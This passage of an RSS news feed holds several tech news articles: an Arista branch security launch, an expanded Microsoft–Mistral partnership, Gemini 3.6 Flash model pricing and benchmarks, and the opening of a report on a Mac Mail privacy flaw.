<p class="wp-block-paragraph">Integration with Arista’s AVA policy assistant is aimed at simplifying management of branch security policies. AVA continuously analyzes configuration states and translates complex, multi-site security rules into plain English, Gibbs explained. For example, NetOps administrators can use AI with Ask AVA to predict “how specific traffic will be handled before committing to a deployment, preventing manual configuration errors that leave branches exposed,” Gibbs wrote.</p>



<p class="wp-block-paragraph">Arista also touted support for network-wide segmentation policies. “The flexible security policy configuration within the Edge Threat Management policy management extends the security coverage from the data center to the branch,” the vendor stated. “Security operations administrators can build access policies that are enforced across a distributed network. The centralized design enables admins to configure and deploy consistent zone based policies across the entire distributed network.”</p>



<p class="wp-block-paragraph">ETM is a significant addition to the Arista VeloCloud portfolio. Arista <a href="https://www.networkworld.com/article/4016270/arista-buys-velocloud-to-reboot-sd-wans-amid-ai-infrastructure-shift.html">bought</a> the VeloCloud SD-WAN platform from Broadcom a year ago and has been promising new technologies that expand the platform. ETM also could further the vendor’s <a href="https://www.networkworld.com/article/4111354/arista-rides-ai-wave-but-battle-for-campus-networks-looms.html">stated plans to expand beyond its data center networking roots</a> and compete more broadly with enterprise networking vendors such as Cisco, Palo Alto Networks, and Fortinet.</p>



<p class="wp-block-paragraph">In the SASE and SD-WAN world, vendors such as Cisco, Palo Alto, Fortinet, Cato Networks, and Versa Networks are among the most balanced suppliers, with both SD-WAN and SSE contributing meaningful revenue streams, according to a recently published <a href="https://www.delloro.com/news/sase-1q-2026-revenue-climbs-21-percent-to-over-3-b-driven-by-ai-governance/">report</a> from Dell’Oro Group.</p>



<p class="wp-block-paragraph">“We forecast that SASE will remain on a double-digit growth path in 2026, with SSE-first rollouts remaining the most common entry point, and SD-WAN supported by branch modernization, software attach, and branch security refresh,” Dell Oro stated.</p>



<p class="wp-block-paragraph">“AI is changing the SASE discussion from access and inspection to governance, data protection, and control over agents and machine traffic,” Mauricio Sanchez, senior director, enterprise security and networking at Dell’Oro Group, stated in the report. “A 21 percent Y/Y quarter shows that SASE is not waiting for a future AI refresh cycle; it is already absorbing the early security and networking requirements created by AI adoption,” Sanchez added.</p>



<p class="wp-block-paragraph">ETM for VeloCloud SD-WAN will be available in Q4 of 2026 and will be available for all current VeloCloud hardware and virtual edge platforms.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft doubles down on sovereign AI with expanded Mistral partnership]]></title>
<description><![CDATA[Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. 



The companies have announced a “significant expansion” of their strategic partnership, which includes a multibillion dollar commitment fro...]]></description>
<link>https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</guid>
<pubDate>Wed, 22 Jul 2026 04:03:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. </p>



<p class="wp-block-paragraph">The companies have announced a “<a href="https://news.microsoft.com/source/2026/07/21/microsoft-and-mistral-expand-strategic-partnership-to-give-enterprises-and-regulated-industries-frontier-ai-they-can-control/" target="_blank" rel="noreferrer noopener">significant expansion</a>” of their strategic partnership, which includes a multibillion dollar commitment from Microsoft. Mistral will add to its GPU infrastructure in Europe and extend access to its frontier multilingual models, while Microsoft will expand its sovereign cloud capabilities. The companies will also align on a joint go-to-market plan and will pursue enterprise opportunities together across Europe and globally, as well as funding proofs of concept (PoCs), offering Azure credits, and leading workshops to drive AI innovation with customers.</p>



<p class="wp-block-paragraph">The partnership between the tech giant and the <a href="https://www.infoworld.com/article/4187526/is-mistral-late-or-savvy.html" target="_blank">three-year-old French startup</a> might seem an odd combination at first glance, analysts note, as both develop enterprise AI models and offer access as-a-service. But it reflects changing AI market dynamics.</p>



<p class="wp-block-paragraph">“It’s possible to be both a competitor and a partner at the same time,” noted technology analyst <a href="https://ca.linkedin.com/in/carmi" target="_blank" rel="noreferrer noopener">Carmi Levy</a>. Large cloud providers are becoming AI marketplaces in their own right, he pointed out, and are drifting away from exclusively promoting their own models. Building Mistral support into their infrastructure avoids platform lock-in and removes a “key objection for customers looking for options.”</p>



<p class="wp-block-paragraph">“As much as Microsoft would want everybody standardizing on Copilot and Phi, it recognizes the simple fact that customers increasingly want to choose their own models,” said Levy.</p>



<h2 class="wp-block-heading">Expands model access, sovereign cloud capabilities</h2>



<p class="wp-block-paragraph">As part of the agreement, Mistral will expand its Europe-based capacity with thousands of Nvidia Vera Rubin GPUs.</p>



<p class="wp-block-paragraph">Mistral CEO and co-founder <a href="https://www.computerworld.com/article/4134107/mistral-ceo-over-half-of-companies-software-can-be-replaced-by-ai.html" target="_blank">Arthur Mensch</a> described a “slight gap” in compute capacity in Europe, noting that this expansion will provide more compute capability and support Microsoft’s cloud and AI services, providing a “shared platform for training, inference and large-scale deployment.” The companies call it a critical step to allow Microsoft customers to benefit from Mistral’s “scientific and compute innovations.”</p>



<p class="wp-block-paragraph">In addition, Mistral Medium 3.5 and OCR 4 models are now available in Microsoft Foundry, and Mistral Medium 3.5 can be used in Microsoft Copilot Studio.</p>



<p class="wp-block-paragraph">The partnership also extends Microsoft’s sovereign cloud infrastructure as well as combining Mistral’s frontier models with Microsoft’s security, compliance, and cloud-to-edge platform. This gives enterprises, particularly those in regulated markets, the ability to deploy AI where they see fit, while maintaining control over their data and workloads, according to the companies.</p>



<p class="wp-block-paragraph">Further, customers will be able to build AI using the same models, tools, APIs, and workflows they’re used to, across Microsoft Foundry, Foundry Local, and <a href="https://www.infoworld.com/article/4108044/whats-next-for-azure-infrastructure.html" target="_blank">Azure Local</a>, and opt for fully Azure-hosted cloud environments; cloud-connected, controlled Azure Local environments that only use cloud-based Azure when necessary; and fully-disconnected environments that can operate independently for more sensitive scenarios.</p>



<p class="wp-block-paragraph">“Europe should have access to the world’s most capable AI without compromising control over their data, operations or digital future,” said <a href="https://www.linkedin.com/in/bradsmi" target="_blank" rel="noreferrer noopener">Brad Smith</a>, vice chair and president, Microsoft, noting that with this partnership, the company is honoring its <a href="https://blogs.microsoft.com/on-the-issues/2025/04/30/european-digital-commitments/" target="_blank" rel="noreferrer noopener">European digital commitments</a> and giving customers a foundation for AI so they can “operate on their own terms.” Customers with “heightened sovereignty needs” will be able to exercise more control with “resilience and assurance” and continued access to Mistral’s open-weight models.</p>



<h2 class="wp-block-heading">Enterprise credibility</h2>



<p class="wp-block-paragraph">Gartner distinguished VP analyst <a href="https://www.gartner.com/en/experts/arun-chandrasekaran" target="_blank" rel="noreferrer noopener">Arun Chandrasekaran</a> noted that there’s no doubt that this agreement strengthens Microsoft’s sovereignty messaging and its position in regulated industries, and the tech giant benefits by expanding its AI portfolio with a “credible European frontier model provider”</p>



<p class="wp-block-paragraph">He pointed to key differences from the initial partnership struck by the two companies in 2024; whereas originally Microsoft was hosting Mistral’s models, it is now consuming capacity built by Mistral in Europe.</p>



<p class="wp-block-paragraph">Ultimately, the deal emphasizes European data centers, customer-controlled deployments, Azure Local, and fully-disconnected environments, addressing many of the concerns that surrounded the original Azure cloud only relationship, Chandrasekaran explained.</p>



<p class="wp-block-paragraph">For Mistral, the partnership provides “enterprise credibility, and repeatable infrastructure revenue” that can fund continued <a href="https://www.cio.com/article/4198030/7-issues-impacting-ai-strategies-and-how-cios-should-respond.html" target="_blank">AI platform development</a>, he said. The combination of Microsoft’s enterprise AI platform with Mistral’s models and European AI infrastructure will give joint customers more deployment flexibility and expand options around data residency, sovereign AI deployments, and disconnected/on-premises environments.</p>



<p class="wp-block-paragraph">“It also gives customers more model choice, reducing dependence on a single AI provider,” said Chandrasekaran.</p>



<h2 class="wp-block-heading">A complementary partnership</h2>



<p class="wp-block-paragraph">Mistral continues to innovate with its frontier AI models and its chat and coding agent, Vibe (formerly Le Chat), yet it doesn’t attract as much attention as Claude or ChatGPT.</p>



<p class="wp-block-paragraph">One of the company’s key differentiators is its targeted business model. Levy pointed out that not every workload requires “full-flight GPT.” For customers trying to rein in costs and limit exposure with on-premises deployments, Mistral’s “more focused capabilities can represent a cost-effective alternative.”</p>



<p class="wp-block-paragraph">Chandrasekaran pointed to Mistral’s combination of high-performance open-weight models, strong multilingual capabilities, and a “focus on efficient inference that lowers deployment costs.”</p>



<p class="wp-block-paragraph">Unlike many frontier AI companies, it offers customers greater flexibility to self-host and customize models; this makes it particularly attractive for enterprises and governments with sovereignty or regulatory requirements, he said. Its European roots also position it as the leading alternative for organizations seeking cutting-edge AI outside the US and Chinese ecosystems.</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/bill-wong" target="_blank" rel="noreferrer noopener">Bill Wong</a>, research fellow at Info-Tech Research Group, also pointed to Mistral’s high-quality models and “adeptness as a sovereign AI leader.” There is growing demand for AI companies that comply with regional laws and data residency, and Mistral is established as “one of the most prominent European players.”</p>



<p class="wp-block-paragraph">“Such a strategic position makes it a great partner for Microsoft to further expand its AI offerings beyond just being a single-model provider,” he said. Customers get freedom of choice while complying with data sovereignty and regulatory limitations without having to execute a separate AI deployment, while Mistral, for its part, can go beyond Europe and gain more visibility with international businesses.</p>



<p class="wp-block-paragraph">Mistral brings both “technological and political advantages,” Levy noted. The startup’s European roots give Microsoft more credibility “at a fraught time for geopolitical relationships.” Customers in Europe and beyond are concerned about US exposure, and Mistral can provide a safer choice.</p>



<p class="wp-block-paragraph">Meanwhile, Microsoft can deploy European-developed AI models running on European infrastructure, thus maximizing regulatory compliance while offering next-level enterprise marketing scale that Mistral “simply couldn’t achieve on its own,” said Levy. Mistral-based workloads deployed on Azure will also benefit from Microsoft’s “comprehensive security certifications, governance frameworks, and monitoring.”</p>



<p class="wp-block-paragraph">Bottom line: Both companies can maximize their unique roadmaps through the partnership, he said. “As the rules of the AI economy continue to evolve, expect more eyebrow-raising deals like this to be signed.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Residents Look to Governments for Essential AI Skills]]></title>
<description><![CDATA[Cities and others are leading efforts to expand AI literacy beyond their own staff. Community members, however, may be seeking different skills from these initiatives than government employees.]]></description>
<link>https://tsecurity.de/de/3685015/ai-nachrichten/residents-look-to-governments-for-essential-ai-skills/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685015/ai-nachrichten/residents-look-to-governments-for-essential-ai-skills/</guid>
<pubDate>Wed, 22 Jul 2026 01:32:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cities and others are leading efforts to expand AI literacy beyond their own staff. Community members, however, may be seeking different skills from these initiatives than government employees.]]></content:encoded>
</item>
<item>
<title><![CDATA[Google's Gemini 3.6 Flash model cuts AI agent token costs by up to 65% on long horizon engineering tasks —and 3.5 Pro is on the way]]></title>
<description><![CDATA[Google DeepMind today released three new proprietary AI models it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 p...]]></description>
<link>https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684881/it-nachrichten/googles-gemini-36-flash-model-cuts-ai-agent-token-costs-by-up-to-65-on-long-horizon-engineering-tasks-and-35-pro-is-on-the-way/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google DeepMind<a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/?utm_source=x&amp;utm_medium=social&amp;utm_campaign=&amp;utm_content="> today released three new proprietary AI models</a> it says are among its most token-efficient yet: Gemini 3.6 Flash, Gemini 3.5 Flash-Lite, and Gemini 3.5 Flash Cyber. </p><p>The models aim to make AI agents faster, smarter, and cheaper at scale. Google is pricing Gemini 3.6 Flash at $1.50 per one million input tokens and $7.50 per one million output tokens through its application programming interface (API), while Gemini 3.5 Flash-Lite costs a staggeringly cheap $0.30/$2.50 per million tokens in/out. </p><p>Compare that to the $1.50/$9.00 per 1M tokens for Gemini 3.5 Flash, and the $2/$12 for Gemini 3.1 Pro Preview, and the savings are considerable. However, Google's prior generation Gemini 3.1 Flash-Lite still remains the search giant's "most cost-efficient" model at $0.25/$1.50 per 1M tokens. Yet, it remains 2X slower than the new, more expensive Gemini 3.5 Flash-Lite, giving those enterprises who value speed more "bang" for their buck. </p><h2><b>VB Frontier AI Model API Pricing Comparison Chart (Late July 2026 Shortlist)</b></h2><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.5 Flash-Lite</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$2.50</b></p></td><td><p><b>$2.80</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a><b></b></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Gemini 3.6 Flash</b></p></td><td><p><b>$1.50</b></p></td><td><p><b>$7.50</b></p></td><td><p><b>$9.00</b></p></td><td><p><b></b><a href="https://ai.google.dev/gemini-api/docs/pricing"><b>Google</b></a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>No price was provided yet for the specialty Gemini 3.5 Flash Cyber model, which, as its name would imply, is designed for cybersecurity researchers and red teamers to patch bugs. </p><p>While the prices are among the middle-low end of all major AI models globally, the fact that Google designed them to use less tokens overall also should drive down costs for enterprises beyond what the sticker price shows (since you'll be paying for fewer total tokens at any rate). </p><p>Gemini 3.6 Flash and Gemini 3.5 Flash-Lite are available immediately through the Gemini API in Google AI Studio and Android Studio, as well as within the consumer Gemini application and Google Search. According to a <a href="https://deepmind.google/blog/introducing-gemini-3-5-flash-cyber/">separate Google blog post</a>, Gemini 3.5 Flash Cyber will be available "exclusively available to governments and trusted partners via CodeMender soon" — <a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> being Google's proprietary AI code bug-fixing agent released last year. </p><p>As with previous Gemini models, these are all proprietary and "closed source," thus, they can only be obtained through Google's official API and that of its partners, as opposed to an open-source license like MIT or Apache 2.0. </p><p>One conspicuous omission noted by developers on X and social media: where is the larger, more powerful, flagship Gemini 3.5 Pro model Google previously alluded would be released this summer? After all, Gemini 3.1 Pro, the prior flagship, <a href="https://venturebeat.com/technology/google-launches-gemini-3-1-pro-retaking-ai-crown-with-2x-reasoning">debuted back in February 2026</a>, and rivals OpenAI and Anthropic have since released several more generations of flagship updates far more powerful than Google's. </p><p>Google technical staffer Logan Kilpatrick <a href="https://x.com/OfficialLoganK/status/2079592006163349538">responded to one such inquiry on X, writing</a>: "Gemini 3.5 Pro is currently testing with partners and we plan to make it broadly available as soon as it’s ready." </p><p>Google's release signals that the immediate future of AI lies in agentic capabilities—systems that operate autonomously over extended periods. </p><p>If early large language models are akin to massive, fuel-hungry freight trains capable of hauling incredible loads at immense cost, the new Flash series represents a fleet of nimble, hyper-efficient hybrid delivery vans.</p><h2><b>Efficiency gains ranging from 17% to 65% reduced tokens for strong results on third-party benchmarks</b></h2><p>Under the hood, Gemini 3.6 Flash achieves significant efficiency gains. The model reduces output token usage by 17% compared to its predecessor, Gemini 3.5 Flash, according to the <a href="https://x.com/ArtificialAnlys/status/2079596244339707956">Artificial Analysis Index</a> maintained by the independent third-party AI benchmarking group of the same name. </p><p>In specific long-horizon software engineering benchmarks like <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, which measures how well agents complete multi-step engineering tasks from scratch, the token savings reach up to 65%. </p><p>This reduction means the model requires fewer reasoning steps and tool calls to complete the exact same multi-step workflow. Think of token efficiency like fuel economy in a vehicle. </p><p>When an AI model takes a convoluted path to solve a problem, it burns through more computational fuel, driving up the final cost for the developer. By streamlining its internal logic, Gemini 3.6 Flash arrives at the correct answer faster and cheaper.</p><p>While Google's materials did not specify the exact architectural or algorithmic changes used to achieve this token efficiency, they noted that the model "takes fewer reasoning steps and tool calls to accomplish multi-step workflows" and exhibits reduced "verbosity."</p><p>The official model cards released by Google reveal that both <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-6-Flash-Model-Card.pdf">Gemini 3.6 Flash</a> and <a href="https://storage.googleapis.com/deepmind-media/Model-Cards/Gemini-3-5-Flash-Lite-Model-Card.pdf">Gemini 3.5 Flash-Lite</a> feature a 1-million-token input context window alongside a max output limit of 64,000 tokens, with both models sharing a knowledge cutoff date of March 2026.</p><h2><b>Respectable benchmark performance at low cost</b></h2><p>The technological improvements extend to concrete capabilities. Gemini 3.6 Flash scores 49% on the DeepSWE benchmark, a notable increase from the 37% achieved by version 3.5. </p><p>It also pushes machine learning engineering performance higher, scoring 63.9% on MLE-Bench compared to 49.7% previously. Furthermore, Google integrates computer use as a built-in client-side tool via the Gemini API and Gemini Enterprise, reflecting an OSWorld-Verified score of 83.0%, up from 78.4%. </p><p>The model also tackles knowledge work with greater proficiency, outperforming its predecessor on benchmarks like GDPval-AA v2 by moving from a score of 1349 to 1421.</p><p>To ensure safety amidst these capability upgrades, Google deploys enhanced Frontier Safety safeguards. These protections harden the model against jailbreaks and mitigate risks in Chemical, Biological, Radiological, and Nuclear domains, as well as cyber offense misuses. </p><p>The engineering team trains the model to minimize refusals for beneficial uses, striking a necessary balance between strict security and practical utility.</p><h2>M<b>odels for low-cost coding, agentic, and cybersecurity use cases — respectively</b></h2><p>Google divided its new offerings into three distinct products tailored for different operational needs. </p><p>Gemini 3.6 Flash serves as the heavy-duty workhorse of the trio. It handles complex coding, intricate knowledge work, and multimodal processing with improved precision. Enterprise customers utilize it for demanding tasks such as complex document parsing, intricate chart and data analysis, and long-form report drafting. </p><p>The model executes complex code migrations using multi-agent orchestration frameworks with lower latency and higher quality than earlier iterations. Furthermore, 3.6 Flash aids in developing photographic texture extractors for 3D workflows using canvas interfaces.</p><p>Gemini 3.5 Flash-Lite targets environments where high throughput and absolute minimal latency are non-negotiable. Google designates it as the fastest model in the 3.5 series. </p><p>As measured by Artificial Analysis, the model processes 350 output tokens per second, making it highly effective for agentic search and massive document processing workloads. <a href="https://artificialanalysis.ai/articles/gemini-3-6-flash-3-5-flash-lite-halving-time">Artificial Analysis notes</a> this is about twice as fast as prior generation model Gemini 3.1 Flash-Lite.</p><p>Developers can configure 3.5 Flash-Lite to prioritize low-latency execution for high-volume tasks using minimal thinking levels, or engage higher thinking levels to process complex multi-step subagent workloads. </p><p>Despite its lite designation, it outperforms the standard Gemini 3 Flash on several key agentic and coding evaluations, including SWE-Bench Pro, where it scores 54.2% compared to 49.6%, and OSWorld-Verified, scoring 74.0% versus 65.1%. </p><p>The model extracts product features from massive datasets, generates interactive web design concepts, and scales receipt translation seamlessly.</p><p>The third product, Gemini 3.5 Flash Cyber, represents a highly specialized deployment. Google fine-tuned this model specifically to find and fix cybersecurity vulnerabilities. It integrates directly with Google's CodeMender agent. </p><p>In practice, multiple 3.5 Flash Cyber agents work concurrently to produce a single, comprehensive vulnerability report, achieving competitive performance at the frontier on the CyberGym benchmark, even getting within range of Anthropic's much-hyped Mythos model.</p><p>Google did not specify an exact numerical cost for 3.5 Flash Cyber, stating only that it is fine-tuned "at a lower price per token than larger models.</p><h2><b>Commercial licensing only</b></h2><p>The licensing framework for the new Gemini models carries profound implications for developers and enterprise users. Google deploys Gemini 3.6 Flash and 3.5 Flash-Lite under a commercial, proprietary API model. Unlike open-source software governed by licenses such as the MIT License or the GNU General Public License, developers do not gain access to the underlying model weights, training data, or source code.</p><p>An MIT or GPL license grants users the freedom to download the codebase, modify the internal architecture, self-host the deployment, and distribute the software infrastructure independently. In contrast, Google's API approach means developers essentially rent access to the intelligence on a strict metered basis. Every prompt and generated response travels through Google's managed servers, incurring a cost based on the strict pricing structure of $1.50 per million input tokens for 3.6 Flash. </p><p>This commercial tethering restricts deployment flexibility. Enterprises cannot air-gap the models entirely on their own local secure hardware without establishing specialized, high-tier enterprise agreements with Google Cloud. Developers remain bound by Google's acceptable use policies, arbitrary rate limits, and network requirements, creating a permanent dependency on Google's infrastructure uptime and terms of service.</p><p>The licensing for Gemini 3.5 Flash Cyber proves even more restrictive. Acknowledging the dual-use nature of cybersecurity AI—which attackers can weaponize just as easily as defenders can use it to patch systems—Google is for now making the model only available behind a limited-access pilot program, similar to the trend kicked off by Anthropic's Mythos model with its <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Project Glasswing program</a>, and continued by <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI with its staggered rollout for GPT-5.6</a>. </p><p>In this case, Google is making 3.5 Flash Cyber exclusively available to governments and trusted partners. This strict gatekeeping prevents open access, prioritizing systemic security over widespread developer innovation.</p><h2><b>Looking ahead</b></h2><p>Google DeepMind continues to iterate rapidly, but the gap in its product line remains apparent. While the Flash series excels in speed and economy, the industry eagerly awaits the deployment of Gemini 3.5 Pro to gauge Google's absolute frontier capabilities.</p><p>Simultaneously, the company confirms that pre-training for Gemini 4 has already commenced. </p><p>Until the next major flagship release materializes, developers must optimize their systems using the highly efficient, yet purposefully constrained, Flash architecture.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[A fake Hide My Email header can expose the address behind your Apple Account]]></title>
<description><![CDATA[A forged Hide My Email header can make Mac Mail expose a user's Apple Account address, extending the privacy risk beyond people who use Apple's alias service.Apple MailDeveloper Jeff Johnson disclosed the Mac Mail privacy flaw on July 19. His testing showed that a specially crafted message could ...]]></description>
<link>https://tsecurity.de/de/3684823/ios-mac-os/a-fake-hide-my-email-header-can-expose-the-address-behind-your-apple-account/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684823/ios-mac-os/a-fake-hide-my-email-header-can-expose-the-address-behind-your-apple-account/</guid>
<pubDate>Tue, 21 Jul 2026 23:00:39 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A forged Hide My Email header can make <a href="https://appleinsider.com/inside/mac" title="Mac" data-kpt="1">Mac</a> Mail expose a user's Apple Account address, extending the privacy risk beyond people who use Apple's alias service.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68317-144013-Apple-Mail-app-Liquid-Glass-icon-xl.jpg" alt="White email envelope icon centered on a rounded blue square button, set against a smooth blue gradient background, representing a mail or messaging application" height="738"><span>Apple Mail</span></div><br>Developer Jeff Johnson disclosed the Mac Mail privacy flaw on July 19. His testing showed that a specially crafted message could make Mail display a misleading sender identity while a reply went out from the email address tied to his Apple Account.<br><br>The behavior didn't require Johnson to use Hide My Email or maintain an <a href="https://appleinsider.com/inside/icloud" title="iCloud" data-kpt="1">iCloud</a>.com mailbox. He also found that the malicious message could arrive through an unrelated personal or business account before Mail exposed the Apple Account address in a reply.<br><br>Johnson said he doesn't know whether the 